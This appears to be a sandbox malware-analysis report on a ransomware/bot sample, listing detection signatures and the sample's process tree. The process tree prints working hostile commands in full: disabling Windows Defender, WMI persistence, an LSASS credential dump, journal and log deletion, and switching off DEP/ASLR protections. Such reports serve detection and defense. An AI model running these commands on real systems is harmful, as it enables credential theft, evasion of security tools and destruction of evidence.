Overview

overview

10

Static

static

10

2026-08-17...ot.exe

windows10-2004-x64

2026-08-17...ot.exe

windows11-ltsc_2024-x64

Analysis

  • max time kernel
    10s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 00:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe
  • Size 510KB
  • Sample260818-adnxvabl8s
  • SHA256 5d4782e52bb632d44093ccdf66e204dcd2f1196eeb89be7ed484bf7b1222d3c9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecution

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 14 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe'; Set-MpPreference -DisableRealtimeMonitoring $true
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3228
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -Command "$f=[WMICLASS]'root\subscription:__EventFilter';$f2=$f.CreateInstance();$f2.Name='NvFilter_àñ_sP';$f2.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f2.QueryLanguage='WQL';$f2.Put()|Out-Null;$c=[WMICLASS]'root\subscription:CommandLineEventConsumer';$c2=$c.CreateInstance();$c2.Name='NvConsumer_';$c2.CommandLineTemplate='cmd /c start /min "C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe"';$c2.Put()|Out-Null;$b=[WMICLASS]'root\subscription:__FilterToConsumerBinding';$b2=$b.CreateInstance();$b2.Filter=$f2;$b2.Consumer=$c2;$b2.Put()|Out-Null" 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:2732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$f=[WMICLASS]'root\subscription:__EventFilter';$f2=$f.CreateInstance();$f2.Name='NvFilter_àñ_sP';$f2.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f2.QueryLanguage='WQL';$f2.Put()|Out-Null;$c=[WMICLASS]'root\subscription:CommandLineEventConsumer';$c2=$c.CreateInstance();$c2.Name='NvConsumer_';$c2.CommandLineTemplate='cmd /c start /min "C:\Users\Admin\AppData\Local\Temp\2026-08-17_9d242ee61c92a1c83a4c01e60996fd69_conti_ngrbot.exe"';$c2.Put()|Out-Null;$b=[WMICLASS]'root\subscription:__FilterToConsumerBinding';$b2=$b.CreateInstance();$b2.Filter=$f2;$b2.Consumer=$c2;$b2.Put()|Out-Null"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4452
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c fsutil usn deletejournal /D C: 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:4692
      • C:\Windows\system32\fsutil.exe
        fsutil usn deletejournal /D C:
        3⤵
          PID:4896
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c sc stop msiserver 2>nul & sc config msiserver start= disabled 2>nul & sc delete msiserver 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:3168
        • C:\Windows\system32\sc.exe
          sc stop msiserver
          3⤵
          • Launches sc.exe
          PID:4992
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -Command "Set-CimInstance -Query 'Select * from Win32_PageFileSetting' -Property @{Name=''}" 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:4320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-CimInstance -Query 'Select * from Win32_PageFileSetting' -Property @{Name=''}"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5052
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -Command "Get-ProcessMitigation -System | Set-ProcessMitigation -Disable DEP,ASLR,CFG,SEHOP,HighEntropy,ForceRelocate,BottomUp" 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:2896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-ProcessMitigation -System | Set-ProcessMitigation -Disable DEP,ASLR,CFG,SEHOP,HighEntropy,ForceRelocate,BottomUp"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4244
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c reg delete HKCU\Console /f 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:3668
        • C:\Windows\system32\reg.exe
          reg delete HKCU\Console /f
          3⤵
          • Modifies registry key
          PID:2476
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump 836 C:\Users\Admin\AppData\Local\Temp\lsass_6785CDAD.dmp full 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:3360
        • C:\Windows\system32\rundll32.exe
          rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump 836 C:\Users\Admin\AppData\Local\Temp\lsass_6785CDAD.dmp full
          3⤵
            PID:2540
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c wevtutil el > C:\Windows\Temp\logs.txt 2>nul
          2⤵
          • Executes a command shell one-liner
          PID:3328
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c sc query state= all > C:\Windows\Temp\svc_all.txt 2>nul
          2⤵
          • Executes a command shell one-liner
          PID:4188
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c del /f /s /q C:\Windows\System32\config\*.log 2>nul
          2⤵
            PID:3208
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c fsutil usn createjournal m=0 a=0 C: 2>nul
            2⤵
            • Executes a command shell one-liner
            PID:5232
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c del /f /s /q C:\Windows\System32\config\*.LOG 2>nul
            2⤵
              PID:2120
            • C:\Windows\SYSTEM32\cmd.exe
              cmd /c fsutil usn deletejournal /D D: 2>nul
              2⤵
              • Executes a command shell one-liner
              PID:3376
            • C:\Windows\SYSTEM32\cmd.exe
              cmd /c del /f /s /q C:\Windows\System32\config\*.jrs 2>nul
              2⤵
                PID:3680
              • C:\Windows\SYSTEM32\cmd.exe
                cmd /c fsutil usn createjournal m=0 a=0 D: 2>nul
                2⤵
                • Executes a command shell one-liner
                PID:2356
              • C:\Windows\SYSTEM32\cmd.exe
                cmd /c fsutil usn deletejournal /D E: 2>nul
                2⤵
                • Executes a command shell one-liner
                PID:4328
              • C:\Windows\SYSTEM32\cmd.exe
                cmd /c del /f /s /q C:\Windows\System32\config\*.jtx 2>nul
                2⤵
                  PID:804
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd /c fsutil usn createjournal m=0 a=0 E: 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:2704
              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nv_C2278980.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nv_C2278980.exe"
                1⤵
                  PID:2108

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      nv_C2278980.exe
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nv_C2278980.exe
                      • Size 510KB
                      • SHA256 5d4782e52bb632d44093ccdf66e204dcd2f1196eeb89be7ed484bf7b1222d3c9
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/804-31-0x00007FFAB87A0000-0x00007FFAB8A03000-memory.dmp
                      Download

                      memory/2476-26-0x00007FFAB87A0000-0x00007FFAB8A03000-memory.dmp
                      Download

                      memory/3228-10-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-12-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-7-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-8-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-9-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-0-0x00007FFA95AFF000-0x00007FFA95B00000-memory.dmp
                      Download

                      memory/3228-11-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-6-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-15-0x000001B6CF250000-0x000001B6CF26E000-memory.dmp
                      Download

                      memory/3228-17-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-18-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-16-0x000001B6E7510000-0x000001B6E75C2000-memory.dmp
                      Download

                      memory/3228-19-0x000001B6CF270000-0x000001B6CF27A000-memory.dmp
                      Download

                      memory/3228-5-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download

                      memory/3228-3-0x000001B6CF1F0000-0x000001B6CF212000-memory.dmp
                      Download

                      memory/3228-4-0x00007FFA95970000-0x00007FFA96314000-memory.dmp
                      Download